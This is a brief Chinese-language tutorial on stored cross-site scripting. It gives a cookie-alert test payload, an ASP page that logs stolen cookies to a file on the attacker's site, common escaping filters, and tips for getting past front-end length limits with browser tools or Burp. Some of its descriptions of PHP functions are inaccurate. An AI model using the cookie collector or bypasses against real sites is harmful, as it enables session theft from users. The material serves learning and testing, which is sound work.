简介:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览页面时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。
触发:发生在目标网站中目标用户的浏览器层面上
常见:公共留言板,公共可见文本
测试方法:
(1)cookies弹框
<script>alert(document.cookie)</script>
(2)cookies获取写入到攻击者的文件夹
<html> <title>xx</title> <body> <%testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中 msg = Request("msg") //获取提交过来的msg变量,也就是cookie值 set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象 set thisfile = fs.OpenTextFile(testfile,8,True,0) thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie thisfile.close() //关闭 set fs = nothing%> </body> </html>
处理方法:
采用Filter技术,对所有参数都进行过滤,处理方案为:1. 特殊字符做转义【⁢,>,"】。 2. 含有敏感的html脚本,直接处理掉。
常见的XSS过滤:
1.htmlspecialchars()函数
能将单引号'',双引号"",斜杠/,反斜杠\ 转义,也就是在这些符号前加上退意符\。
但该函数默认编码双引号,正反斜杠(/,\)
如果想要编码单引号,则需要加上一个参数
2.strip_tags函数
将尖括号编码
3.addslashes
将单双引号转移 就是在 '前加个\
4.addslashes()函数
将预定义字符 ' " \ NULL
函数会在这四个字符前加上 \
5.我在渗透测试过程中见到的基本上都是将关键符号如 <>"" '' ()等等
这些符号进行实体编码
或者直接将这些符号过滤掉
再或者将关键字alert script src img等等过滤掉
有些时候会通过前端JS校验,限制输入字符串长度,是你无法构建完整的XSS语句
不过你在页面中查看元素,找到对应代码,修改其中的限制即可
或者先输入一个合法的字符串,接着使用brupsuit抓包更改